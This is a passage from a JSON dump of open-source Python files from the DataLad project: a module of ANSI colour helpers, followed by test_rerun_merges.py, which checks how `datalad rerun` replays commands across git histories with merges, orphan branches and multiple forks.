copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Definitions for ansi colors etc\\\"\\\"\\\"\\n\\nfrom __future__ import annotations\\n\\nimport os\\nfrom typing import Optional\\n\\nfrom .. import cfg\\nfrom ..ui import ui\\n\\nBLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(30, 38)\\nBOLD = 1\\nUNDERLINE = 4\\n\\nRESET_SEQ = \\\"\\\\033[0m\\\"\\nCOLOR_SEQ = \\\"\\\\033[1;%dm\\\"\\nBOLD_SEQ = \\\"\\\\033[1m\\\"\\n\\nLOG_LEVEL_COLORS = {\\n 'WARNING': YELLOW,\\n 'INFO': None,\\n 'DEBUG': BLUE,\\n 'CRITICAL': YELLOW,\\n 'ERROR': RED\\n}\\n\\nRESULT_STATUS_COLORS = {\\n 'ok': GREEN,\\n 'notneeded': GREEN,\\n 'impossible': YELLOW,\\n 'error': RED\\n}\\n\\n# Aliases for uniform presentation\\n\\nDATASET = UNDERLINE\\nFIELD = BOLD\\n\\n\\ndef color_enabled() -> bool:\\n \\\"\\\"\\\"Check for whether color output is enabled\\n\\n If the configuration value ``datalad.ui.color`` is ``'on'`` or ``'off'``,\\n that takes precedence.\\n If ``datalad.ui.color`` is ``'auto'``, and the environment variable\\n ``NO_COLOR`` is defined (see https://no-color.org), then color is disabled.\\n Otherwise, enable colors if a TTY is detected by ``datalad.ui.ui.is_interactive``.\\n\\n Returns\\n -------\\n bool\\n \\\"\\\"\\\"\\n ui_color = cfg.obtain('datalad.ui.color')\\n return (ui_color == 'on' or\\n ui_color == 'auto' and os.getenv('NO_COLOR') is None and ui.is_interactive)\\n\\n\\ndef format_msg(fmt: str, use_color: bool = False) -> str:\\n \\\"\\\"\\\"Replace $RESET and $BOLD with corresponding ANSI entries\\\"\\\"\\\"\\n if color_enabled() and use_color:\\n return fmt.replace(\\\"$RESET\\\", RESET_SEQ).replace(\\\"$BOLD\\\", BOLD_SEQ)\\n else:\\n return fmt.replace(\\\"$RESET\\\", \\\"\\\").replace(\\\"$BOLD\\\", \\\"\\\")\\n\\n\\ndef color_word(s: str, color: Optional[int], force: bool = False) -> str:\\n \\\"\\\"\\\"Color `s` with `color`.\\n\\n Parameters\\n ----------\\n s : string\\n color : int\\n Code for color. If the value evaluates to false, the string will not be\\n colored.\\n force : boolean, optional\\n Color string even when non-interactive session is detected.\\n\\n Returns\\n -------\\n str\\n \\\"\\\"\\\"\\n if color and (force or color_enabled()):\\n return \\\"%s%s%s\\\" % (COLOR_SEQ % color, s, RESET_SEQ)\\n return s\\n\\n\\ndef color_status(status: str) -> str:\\n return color_word(status, RESULT_STATUS_COLORS.get(status))\\n\"\n },\n {\n \"alpha_fraction\": 0.4776795506477356,\n \"alphanum_fraction\": 0.4814685881137848,\n \"avg_line_length\": 28.665374755859375,\n \"blob_id\": \"c75fc6e7cc474f6b854200d4f3287d9feddf704b\",\n \"content_id\": \"5de6e5ca90565b5ab5d9473eedc889f41614bf28\",\n \"detected_licenses\": [\n \"LicenseRef-scancode-unknown-license-reference\",\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 22961,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 774,\n \"path\": \"/datalad/local/tests/test_rerun_merges.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Test `datalad rerun` on histories with merges.\\n\\\"\\\"\\\"\\n\\n__docformat__ = 'restructuredtext'\\n\\nimport os.path as op\\n\\nfrom datalad.distribution.dataset import Dataset\\nfrom datalad.tests.utils_pytest import (\\n DEFAULT_BRANCH,\\n assert_false,\\n eq_,\\n neq_,\\n ok_,\\n skip_if_adjusted_branch,\\n slow,\\n with_tempfile,\\n)\\n\\n# Notation in graphs:\\n#\\n# The initial graph is made up of the following commits:\\n#\\n# - x_n: commit x without a run command\\n# - x_r: commit x with a run command\\n#\\n# When re-executing a command creates a new commit, it is labeled as one of the\\n# following:\\n#\\n# - x_C: cherry picked\\n# - x_M: merge commit\\n# - x_R: run commit\\n\\n\\n@slow\\n@with_tempfile(mkdir=True)\\ndef test_rerun_fastforwardable(path=None):\\n ds = Dataset(path).create()\\n # keep direct repo accessor to speed things up\\n ds_repo = ds.repo\\n ds_repo.checkout(DEFAULT_BRANCH, options=[\\\"-b\\\", \\\"side\\\"])\\n ds.run(\\\"echo foo >foo\\\")\\n ds_repo.checkout(DEFAULT_BRANCH)\\n ds_repo.merge(\\\"side\\\", options=[\\\"-m\\\", \\\"Merge side\\\", \\\"--no-ff\\\"])\\n # o c_n\\n # |\\\\\\n # | o b_r\\n # |/\\n # o a_n\\n\\n ds.rerun(since=\\\"\\\", onto=\\\"\\\")\\n # o c_M\\n # |\\\\\\n # | o b_R\\n # |/\\n # o a_n\\n eq_(ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^\\\"),\\n ds_repo.get_hexsha(\\\"HEAD^\\\"))\\n ok_(ds_repo.commit_exists(\\\"HEAD^2\\\"))\\n\\n ds_repo.checkout(DEFAULT_BRANCH)\\n ds.rerun(since=\\\"\\\", onto=DEFAULT_BRANCH + \\\"^2\\\")\\n # o b_r\\n # o a_n\\n eq_(ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^2\\\"),\\n ds_repo.get_hexsha())\\n\\n ds_repo.checkout(DEFAULT_BRANCH)\\n hexsha_before = ds_repo.get_hexsha()\\n ds.rerun(since=\\\"\\\")\\n # o c_n\\n # |\\\\\\n # | o b_r\\n # |/\\n # o a_n\\n eq_(ds_repo.get_active_branch(), DEFAULT_BRANCH)\\n eq_(hexsha_before,\\n ds_repo.get_hexsha())\\n\\n\\n@slow\\n@with_tempfile(mkdir=True)\\ndef test_rerun_fastforwardable_mutator(path=None):\\n ds = Dataset(path).create()\\n # keep direct repo accessor to speed things up\\n ds_repo = ds.repo\\n ds_repo.checkout(DEFAULT_BRANCH, options=[\\\"-b\\\", \\\"side\\\"])\\n ds.run(\\\"echo foo >>foo\\\")\\n ds_repo.checkout(DEFAULT_BRANCH)\\n ds_repo.merge(\\\"side\\\", options=[\\\"-m\\\", \\\"Merge side\\\", \\\"--no-ff\\\"])\\n # o c_n\\n # |\\\\\\n # | o b_r\\n # |/\\n # o a_n\\n\\n ds.rerun(since=\\\"\\\", onto=DEFAULT_BRANCH + \\\"^2\\\")\\n # o b_R\\n # o b_r\\n # o a_n\\n neq_(ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^2\\\"),\\n ds_repo.get_hexsha())\\n\\n ds_repo.checkout(DEFAULT_BRANCH)\\n hexsha_before = ds_repo.get_hexsha()\\n ds.rerun(since=\\\"\\\")\\n # o b_R\\n # o c_n\\n # |\\\\\\n # | o b_r\\n # |/\\n # o a_n\\n eq_(ds_repo.get_active_branch(), DEFAULT_BRANCH)\\n assert_false(ds_repo.commit_exists(DEFAULT_BRANCH + \\\"^2\\\"))\\n eq_(hexsha_before,\\n ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^\\\"))\\n\\n\\n@slow\\n# test implementation requires checkout of non-adjusted branch\\n@skip_if_adjusted_branch\\n@with_tempfile(mkdir=True)\\ndef test_rerun_left_right_runs(path=None):\\n ds = Dataset(path).create()\\n # keep direct repo accessor to speed things up\\n ds_repo = ds.repo\\n ds_repo.checkout(DEFAULT_BRANCH, options=[\\\"-b\\\", \\\"side\\\"])\\n ds.run(\\\"echo foo >foo\\\")\\n ds_repo.checkout(DEFAULT_BRANCH)\\n ds.run(\\\"echo bar >bar\\\")\\n ds_repo.merge(\\\"side\\\", options=[\\\"-m\\\", \\\"Merge side\\\"])\\n # o d_n\\n # |\\\\\\n # o | c_r\\n # | o b_r\\n # |/\\n # o a_n\\n\\n ds.rerun(since=\\\"\\\", onto=\\\"\\\")\\n # o d_M\\n # |\\\\\\n # o | c_R\\n # | o b_R\\n # |/\\n # o a_n\\n neq_(ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^\\\"),\\n ds_repo.get_hexsha(\\\"HEAD^\\\"))\\n neq_(ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^2\\\"),\\n ds_repo.get_hexsha(\\\"HEAD^2\\\"))\\n\\n ds_repo.checkout(DEFAULT_BRANCH)\\n ds.rerun(since=\\\"\\\", onto=DEFAULT_BRANCH + \\\"^\\\")\\n # o d_M\\n # |\\\\\\n # | o b_R\\n # |/\\n # o c_r\\n # o a_n\\n eq_(ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^\\\"),\\n ds_repo.get_hexsha(\\\"HEAD^\\\"))\\n neq_(ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^2\\\"),\\n ds_repo.get_hexsha(\\\"HEAD^2\\\"))\\n\\n ds_repo.checkout(DEFAULT_BRANCH)\\n hexsha_before = ds_repo.get_hexsha()\\n ds.rerun(since=\\\"\\\")\\n # o d_n\\n # |\\\\\\n # o | c_r\\n # | o b_r\\n # |/\\n # o a_n\\n eq_(hexsha_before, ds_repo.get_hexsha())\\n\\n\\n@slow\\n# test implementation requires checkout of non-adjusted branch\\n@skip_if_adjusted_branch\\n@with_tempfile(mkdir=True)\\ndef test_rerun_run_left_mutator_right(path=None):\\n ds = Dataset(path).create()\\n # keep direct repo accessor to speed things up\\n ds_repo = ds.repo\\n ds_repo.checkout(DEFAULT_BRANCH, options=[\\\"-b\\\", \\\"side\\\"])\\n ds.run(\\\"echo ichange >>ichange\\\")\\n ds_repo.checkout(DEFAULT_BRANCH)\\n ds.run(\\\"echo idont >idont\\\")\\n ds_repo.merge(\\\"side\\\", options=[\\\"-m\\\", \\\"Merge side\\\"])\\n # o d_n\\n # |\\\\\\n # o | c_r\\n # | o b_r\\n # |/\\n # o a_n\\n\\n hexsha_before = ds_repo.get_hexsha()\\n ds.rerun(since=\\\"\\\")\\n # o b_R\\n # o d_n\\n # |\\\\\\n # o | c_r\\n # | o b_r\\n # |/\\n # o a_n\\n eq_(ds_repo.get_hexsha(hexsha_before),\\n ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^\\\"))\\n\\n\\n@slow\\n# test implementation requires checkout of non-adjusted branch\\n@skip_if_adjusted_branch\\n@with_tempfile(mkdir=True)\\ndef test_rerun_nonrun_left_run_right(path=None):\\n ds = Dataset(path).create()\\n # keep direct repo accessor to speed things up\\n ds_repo = ds.repo\\n with open(op.join(path, \\\"nonrun-file\\\"), \\\"w\\\") as f:\\n f.write(\\\"blah\\\")\\n ds.save()\\n ds_repo.checkout(DEFAULT_BRANCH + \\\"~\\\", options=[\\\"-b\\\", \\\"side\\\"])\\n ds.run(\\\"echo foo >foo\\\")\\n ds_repo.checkout(DEFAULT_BRANCH)\\n ds_repo.merge(\\\"side\\\", options=[\\\"-m\\\", \\\"Merge side\\\"])\\n # o d_n\\n # |\\\\\\n # | o c_r\\n # o | b_n\\n # |/\\n # o a_n\\n\\n ds.rerun(since=\\\"\\\", onto=\\\"\\\")\\n # o d_M\\n # |\\\\\\n # | o c_R\\n # o | b_n\\n # |/\\n # o a_n\\n eq_(ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^\\\"),\\n ds_repo.get_hexsha(\\\"HEAD^\\\"))\\n neq_(ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^2\\\"),\\n ds_repo.get_hexsha(\\\"HEAD^2\\\"))\\n\\n ds_repo.checkout(DEFAULT_BRANCH)\\n ds.rerun(since=\\\"\\\", onto=DEFAULT_BRANCH + \\\"^2\\\")\\n # o d_n\\n # |\\\\\\n # | o c_r\\n # o | b_n\\n # |/\\n # o a_n\\n ok_(ds_repo.get_active_branch() is None)\\n eq_(ds_repo.get_hexsha(DEFAULT_BRANCH),\\n ds_repo.get_hexsha())\\n eq_(ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^\\\"),\\n ds_repo.get_hexsha(\\\"HEAD^\\\"))\\n eq_(ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^2\\\"),\\n ds_repo.get_hexsha(\\\"HEAD^2\\\"))\\n\\n ds_repo.checkout(DEFAULT_BRANCH)\\n hexsha_before = ds_repo.get_hexsha()\\n ds.rerun(since=\\\"\\\")\\n # o d_n\\n # |\\\\\\n # | o c_r\\n # o | b_n\\n # |/\\n # o a_n\\n eq_(hexsha_before, ds_repo.get_hexsha())\\n\\n\\n@slow\\n# test implementation requires checkout of non-adjusted branch\\n@skip_if_adjusted_branch\\n@with_tempfile(mkdir=True)\\ndef test_rerun_run_left_nonrun_right(path=None):\\n ds = Dataset(path).create()\\n # keep direct repo accessor to speed things up\\n ds_repo = ds.repo\\n ds.run(\\\"echo foo >foo\\\")\\n ds_repo.checkout(DEFAULT_BRANCH + \\\"~\\\", options=[\\\"-b\\\", \\\"side\\\"])\\n with open(op.join(path, \\\"nonrun-file\\\"), \\\"w\\\") as f:\\n f.write(\\\"blah\\\")\\n ds.save()\\n ds_repo.checkout(DEFAULT_BRANCH)\\n ds_repo.merge(\\\"side\\\", options=[\\\"-m\\\", \\\"Merge side\\\"])\\n # o d_n\\n # |\\\\\\n # | o c_n\\n # o | b_r\\n # |/\\n # o a_n\\n\\n ds.rerun(since=\\\"\\\", onto=\\\"\\\")\\n # o d_M\\n # |\\\\\\n # | o c_n\\n # o | b_R\\n # |/\\n # o a_n\\n neq_(ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^\\\"),\\n ds_repo.get_hexsha(\\\"HEAD^\\\"))\\n eq_(ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^2\\\"),\\n ds_repo.get_hexsha(\\\"HEAD^2\\\"))\\n\\n ds_repo.checkout(DEFAULT_BRANCH)\\n ds.rerun(since=\\\"\\\", onto=DEFAULT_BRANCH + \\\"^2\\\")\\n # o b_R\\n # o c_n\\n # o a_n\\n assert_false(ds_repo.commit_exists(\\\"HEAD^2\\\"))\\n eq_(ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^2\\\"),\\n ds_repo.get_hexsha(\\\"HEAD^\\\"))\\n\\n ds_repo.checkout(DEFAULT_BRANCH)\\n hexsha_before = ds_repo.get_hexsha()\\n ds.rerun(since=\\\"\\\")\\n # o d_n\\n # |\\\\\\n # | o c_n\\n # o | b_r\\n # |/\\n # o a_n\\n eq_(hexsha_before, ds_repo.get_hexsha())\\n\\n\\n# @slow # ~5sec on Yarik's laptop\\n# test implementation requires checkout of non-adjusted branch\\n@skip_if_adjusted_branch\\n@with_tempfile(mkdir=True)\\ndef test_rerun_mutator_left_nonrun_right(path=None):\\n ds = Dataset(path).create()\\n # keep direct repo accessor to speed things up\\n ds_repo = ds.repo\\n ds.run(\\\"echo foo >>foo\\\")\\n ds_repo.checkout(DEFAULT_BRANCH + \\\"~\\\", options=[\\\"-b\\\", \\\"side\\\"])\\n with open(op.join(path, \\\"nonrun-file\\\"), \\\"w\\\") as f:\\n f.write(\\\"blah\\\")\\n ds.save()\\n ds_repo.checkout(DEFAULT_BRANCH)\\n ds_repo.merge(\\\"side\\\", options=[\\\"-m\\\", \\\"Merge side\\\"])\\n # o d_n\\n # |\\\\\\n # | o c_n\\n # o | b_r\\n # |/\\n # o a_n\\n\\n hexsha_before = ds_repo.get_hexsha()\\n ds.rerun(since=\\\"\\\")\\n # o b_R\\n # o d_n\\n # |\\\\\\n # | o c_n\\n # o | b_r\\n # |/\\n # o a_n\\n assert_false(ds_repo.commit_exists(DEFAULT_BRANCH + \\\"^2\\\"))\\n eq_(hexsha_before,\\n ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^\\\"))\\n\\n\\n@slow\\n# test implementation requires checkout of non-adjusted branch\\n@skip_if_adjusted_branch\\n@with_tempfile(mkdir=True)\\ndef test_rerun_mutator_stem_nonrun_merges(path=None):\\n ds = Dataset(path).create()\\n # keep direct repo accessor to speed things up\\n ds_repo = ds.repo\\n ds.run(\\\"echo foo >>foo\\\")\\n with open(op.join(path, \\\"nonrun-file0\\\"), \\\"w\\\") as f:\\n f.write(\\\"blah\\\")\\n ds.save()\\n ds_repo.checkout(DEFAULT_BRANCH + \\\"~\\\", options=[\\\"-b\\\", \\\"side\\\"])\\n with open(op.join(path, \\\"nonrun-file1\\\"), \\\"w\\\") as f:\\n f.write(\\\"more blah\\\")\\n ds.save()\\n ds_repo.checkout(DEFAULT_BRANCH)\\n ds_repo.merge(\\\"side\\\", options=[\\\"-m\\\", \\\"Merge side\\\"])\\n # o e_n\\n # |\\\\\\n # | o d_n\\n # o | c_n\\n # |/\\n # o b_r\\n # o a_n\\n\\n ds.rerun(since=\\\"\\\", onto=\\\"\\\")\\n # o e_M\\n # |\\\\\\n # | o d_C\\n # o | c_C\\n # |/\\n # o b_R\\n # o a_n\\n ok_(ds_repo.commit_exists(\\\"HEAD^2\\\"))\\n neq_(ds_repo.get_hexsha(DEFAULT_BRANCH),\\n ds_repo.get_hexsha())\\n\\n ds_repo.checkout(DEFAULT_BRANCH)\\n ds.rerun(since=\\\"\\\", onto=DEFAULT_BRANCH + \\\"^2\\\")\\n # o c_C\\n # o b_R\\n # o d_n\\n # o b_r\\n # o a_n\\n assert_false(ds_repo.commit_exists(\\\"HEAD^2\\\"))\\n eq_(ds_repo.get_hexsha(\\\"HEAD~2\\\"),\\n ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^2\\\"))\\n\\n ds_repo.checkout(DEFAULT_BRANCH)\\n hexsha_before = ds_repo.get_hexsha()\\n ds.rerun(since=\\\"\\\")\\n # o b_R\\n # o e_n\\n # |\\\\\\n # | o d_n\\n # o | c_n\\n # |/\\n # o b_r\\n # o a_n\\n eq_(hexsha_before,\\n ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^\\\"))\\n assert_false(ds_repo.commit_exists(\\\"HEAD^2\\\"))\\n\\n\\n# @slow # ~4.5sec\\n# test implementation requires checkout of non-adjusted branch\\n@skip_if_adjusted_branch\\n@with_tempfile(mkdir=True)\\ndef test_rerun_exclude_side(path=None):\\n ds = Dataset(path).create()\\n # keep direct repo accessor to speed things up\\n ds_repo = ds.repo\\n ds_repo.checkout(DEFAULT_BRANCH, options=[\\\"-b\\\", \\\"side\\\"])\\n ds.run(\\\"echo foo >foo\\\")\\n ds_repo.checkout(DEFAULT_BRANCH)\\n ds.run(\\\"echo bar >bar\\\")\\n ds_repo.merge(\\\"side\\\", options=[\\\"-m\\\", \\\"Merge side\\\"])\\n # o d_n\\n # |\\\\\\n # o | c_r\\n # | o b_r\\n # |/\\n # o a_n\\n\\n ds.rerun(\\\"HEAD\\\", since=DEFAULT_BRANCH + \\\"^2\\\", onto=\\\"\\\")\\n # o d_M\\n # |\\\\\\n # o | c_R\\n # | o b_r\\n # |/\\n # o a_n\\n neq_(ds_repo.get_hexsha(DEFAULT_BRANCH),\\n ds_repo.get_hexsha())\\n neq_(ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^\\\"),\\n ds_repo.get_hexsha(\\\"HEAD^\\\"))\\n eq_(ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^2\\\"),\\n ds_repo.get_hexsha(\\\"HEAD^2\\\"))\\n\\n\\n@slow\\n# test implementation requires checkout of non-adjusted branch\\n@skip_if_adjusted_branch\\n@with_tempfile(mkdir=True)\\ndef test_rerun_unrelated_run_left_nonrun_right(path=None):\\n ds = Dataset(path).create()\\n # keep direct repo accessor to speed things up\\n ds_repo = ds.repo\\n ds.run(\\\"echo foo >foo\\\")\\n ds_repo.checkout(DEFAULT_BRANCH + \\\"~\\\", options=[\\\"--orphan\\\", \\\"side\\\"])\\n ds.save(message=\\\"squashed\\\")\\n ds_repo.checkout(DEFAULT_BRANCH)\\n ds_repo.merge(\\\"side\\\",\\n options=[\\\"-m\\\", \\\"Merge side\\\", \\\"--allow-unrelated-histories\\\"])\\n # o d_n\\n # |\\\\\\n # | o c_n\\n # o b_r\\n # o a_n\\n\\n ds.rerun(since=\\\"\\\", onto=\\\"\\\")\\n # o d_M\\n # |\\\\\\n # | o c_n\\n # o b_R\\n # o a_n\\n neq_(ds_repo.get_hexsha(\\\"HEAD^\\\"),\\n ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^\\\"))\\n eq_(ds_repo.get_hexsha(\\\"HEAD^2\\\"),\\n ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^2\\\"))\\n assert_false(ds_repo.commit_exists(\\\"HEAD^2^\\\"))\\n\\n ds_repo.checkout(DEFAULT_BRANCH)\\n ds.rerun(since=\\\"\\\", onto=DEFAULT_BRANCH + \\\"^2\\\")\\n # o b_R\\n # o c_n\\n assert_false(ds_repo.commit_exists(\\\"HEAD^2\\\"))\\n eq_(ds_repo.get_hexsha(\\\"HEAD^\\\"),\\n ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^2\\\"))\\n\\n ds_repo.checkout(DEFAULT_BRANCH)\\n ds.rerun(since=\\\"\\\")\\n # o d_n\\n # |\\\\\\n # | o c_n\\n # o b_r\\n # o a_n\\n eq_(ds_repo.get_hexsha(DEFAULT_BRANCH),\\n ds_repo.get_hexsha())\\n\\n\\n# @slow # ~3.5sec on Yarik's laptop\\n# test implementation requires checkout of non-adjusted branch\\n@skip_if_adjusted_branch\\n@with_tempfile(mkdir=True)\\ndef test_rerun_unrelated_mutator_left_nonrun_right(path=None):\\n ds = Dataset(path).create()\\n # keep direct repo accessor to speed things up\\n ds_repo = ds.repo\\n ds.run(\\\"echo foo >>foo\\\")\\n ds_repo.checkout(DEFAULT_BRANCH + \\\"~\\\", options=[\\\"--orphan\\\", \\\"side\\\"])\\n ds.save(message=\\\"squashed\\\")\\n ds_repo.checkout(DEFAULT_BRANCH)\\n ds_repo.merge(\\\"side\\\",\\n options=[\\\"-m\\\", \\\"Merge side\\\", \\\"--allow-unrelated-histories\\\"])\\n # o d_n\\n # |\\\\\\n # | o c_n\\n # o b_r\\n # o a_n\\n\\n hexsha_before = ds_repo.get_hexsha()\\n ds.rerun(since=\\\"\\\")\\n # o b_R\\n # o d_n\\n # |\\\\\\n # | o c_n\\n # o b_r\\n # o a_n\\n eq_(hexsha_before,\\n ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^\\\"))\\n\\n\\n@slow\\n@with_tempfile(mkdir=True)\\ndef test_rerun_unrelated_nonrun_left_run_right(path=None):\\n ds = Dataset(path).create()\\n # keep direct repo accessor to speed things up\\n ds_repo = ds.repo\\n ds_repo.checkout(DEFAULT_BRANCH, options=[\\\"--orphan\\\", \\\"side\\\"])\\n ds.save(message=\\\"squashed\\\")\\n ds.run(\\\"echo foo >foo\\\")\\n ds_repo.checkout(DEFAULT_BRANCH)\\n ds_repo.merge(\\\"side\\\",\\n options=[\\\"-m\\\", \\\"Merge side\\\", \\\"--allow-unrelated-histories\\\"])\\n # o d_n\\n # |\\\\\\n # | o c_r\\n # | o b_n\\n # o a_n\\n\\n ds.rerun(since=\\\"\\\", onto=\\\"\\\")\\n # o d_M\\n # |\\\\\\n # | o c_R\\n # | o b_n\\n # o a_n\\n ok_(ds_repo.commit_exists(\\\"HEAD^2\\\"))\\n neq_(ds_repo.get_hexsha(DEFAULT_BRANCH),\\n ds_repo.get_hexsha())\\n eq_(ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^\\\"),\\n ds_repo.get_hexsha(\\\"HEAD^\\\"))\\n eq_(ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^2^\\\"),\\n ds_repo.get_hexsha(\\\"HEAD^2^\\\"))\\n assert_false(ds_repo.commit_exists(\\\"HEAD^2^^\\\"))\\n\\n ds_repo.checkout(DEFAULT_BRANCH)\\n ds.rerun(since=\\\"\\\", onto=DEFAULT_BRANCH + \\\"^2\\\")\\n # o d_n\\n # |\\\\\\n # | o c_r\\n # | o b_n\\n # o a_n\\n eq_(ds_repo.get_hexsha(DEFAULT_BRANCH),\\n ds_repo.get_hexsha())\\n assert_false(ds_repo.commit_exists(\\\"HEAD^2^^\\\"))\\n\\n ds_repo.checkout(DEFAULT_BRANCH)\\n hexsha_before = ds_repo.get_hexsha()\\n ds.rerun(since=\\\"\\\")\\n # o d_n\\n # |\\\\\\n # | o c_r\\n # | o b_n\\n # o a_n\\n eq_(hexsha_before, ds_repo.get_hexsha())\\n\\n\\n@slow\\n# test implementation requires checkout of non-adjusted branch\\n@skip_if_adjusted_branch\\n@with_tempfile(mkdir=True)\\ndef test_rerun_unrelated_nonrun_left_mutator_right(path=None):\\n ds = Dataset(path).create()\\n # keep direct repo accessor to speed things up\\n ds_repo = ds.repo\\n ds_repo.checkout(DEFAULT_BRANCH, options=[\\\"--orphan\\\", \\\"side\\\"])\\n ds.save(message=\\\"squashed\\\")\\n ds.run(\\\"echo foo >>foo\\\")\\n ds_repo.checkout(DEFAULT_BRANCH)\\n ds_repo.merge(\\\"side\\\",\\n options=[\\\"-m\\\", \\\"Merge side\\\", \\\"--allow-unrelated-histories\\\"])\\n # o d_n\\n # |\\\\\\n # | o c_r\\n # | o b_n\\n # o a_n\\n\\n ds.rerun(since=\\\"\\\", onto=DEFAULT_BRANCH + \\\"^2\\\")\\n # o d_M\\n # |\\\\\\n # | o c_R\\n # | o c_r\\n # | o b_n\\n # o a_n\\n eq_(ds_repo.get_hexsha(\\\"HEAD^2^\\\"),\\n ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^2\\\"))\\n assert_false(ds_repo.commit_exists(\\\"HEAD^2~3\\\"))\\n\\n ds_repo.checkout(DEFAULT_BRANCH)\\n hexsha_before = ds_repo.get_hexsha()\\n ds.rerun(since=\\\"\\\")\\n # o c_R\\n # o d_n\\n # |\\\\\\n # | o c_r\\n # | o b_n\\n # o a_n\\n eq_(ds_repo.get_hexsha(\\\"HEAD^\\\"),\\n hexsha_before)\\n assert_false(ds_repo.commit_exists(\\\"HEAD^2\\\"))\\n\\n\\n@slow\\n# test implementation requires checkout of non-adjusted branch\\n@skip_if_adjusted_branch\\n@with_tempfile(mkdir=True)\\ndef test_rerun_multifork(path=None):\\n ds = Dataset(path).create()\\n # keep direct repo accessor to speed things up\\n ds_repo = ds.repo\\n ds_repo.checkout(DEFAULT_BRANCH, options=[\\\"-b\\\", \\\"side\\\"])\\n ds.run(\\\"echo foo >foo\\\")\\n ds_repo.checkout(\\\"side\\\", options=[\\\"-b\\\", \\\"side-nonrun\\\"])\\n with open(op.join(path, \\\"nonrun-file0\\\"), \\\"w\\\") as f:\\n f.write(\\\"blah 0\\\")\\n ds.save()\\n ds_repo.checkout(\\\"side\\\")\\n with open(op.join(path, \\\"nonrun-file1\\\"), \\\"w\\\") as f:\\n f.write(\\\"blah 1\\\")\\n ds.save()\\n ds.run(\\\"echo bar >bar\\\")\\n ds_repo.checkout(\\\"side~1\\\", options=[\\\"-b\\\", \\\"side-side\\\"])\\n with open(op.join(path, \\\"nonrun-file2\\\"), \\\"w\\\") as f:\\n f.write(\\\"blah 2\\\")\\n ds.save()\\n ds.run(\\\"echo onside0 >onside0\\\")\\n ds_repo.checkout(\\\"side\\\")\\n ds_repo.merge(\\\"side-side\\\")\\n ds.run(\\\"echo after-side-side >after-side-side\\\")\\n ds_repo.checkout(DEFAULT_BRANCH)\\n ds_repo.merge(\\\"side\\\", options=[\\\"--no-ff\\\"])\\n ds_repo.merge(\\\"side-nonrun\\\")\\n # o k_n\\n # |\\\\\\n # | o j_n\\n # o | i_n\\n # |\\\\ \\\\\\n # | o | h_r\\n # | o | g_n\\n # | |\\\\ \\\\\\n # | | o | f_r\\n # | | o | e_n\\n # | o | | d_r\\n # | |/ /\\n # | o | c_n\\n # | |/\\n # | o b_r\\n # |/\\n # o a_n\\n\\n ds.rerun(since=\\\"\\\", onto=\\\"\\\")\\n # o k_M\\n # |\\\\\\n # | o j_n\\n # o | i_M\\n # |\\\\ \\\\\\n # | o | h_R\\n # | o | g_M\\n # | |\\\\ \\\\\\n # | | o | f_R\\n # | | o | e_n\\n # | o | | d_R\\n # | |/ /\\n # | o | c_n\\n # | |/\\n # | o b_R\\n # |/\\n # o a_n\\n eq_(ds_repo.get_hexsha(\\\"HEAD~2\\\"),\\n ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"~2\\\"))\\n neq_(ds_repo.get_hexsha(\\\"HEAD^2\\\"),\\n ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^2\\\"))\\n neq_(ds_repo.get_hexsha(\\\"HEAD^^2\\\"),\\n ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^^2\\\"))\\n assert_false(ds_repo.commit_exists(\\\"HEAD^^2^2\\\"))\\n eq_(ds_repo.get_hexsha(\\\"HEAD^2^^\\\"),\\n ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^2^^\\\"))\\n\\n ds_repo.checkout(DEFAULT_BRANCH)\\n hexsha_before = ds_repo.get_hexsha()\\n ds.rerun(since=\\\"\\\")\\n eq_(hexsha_before, ds_repo.get_hexsha())\\n\\n\\n@slow\\n# test implementation requires checkout of non-adjusted branch\\n@skip_if_adjusted_branch\\n@with_tempfile(mkdir=True)\\ndef test_rerun_octopus(path=None):\\n ds = Dataset(path).create()\\n # keep direct repo accessor to speed things up\\n ds_repo = ds.repo\\n ds.run(\\\"echo foo 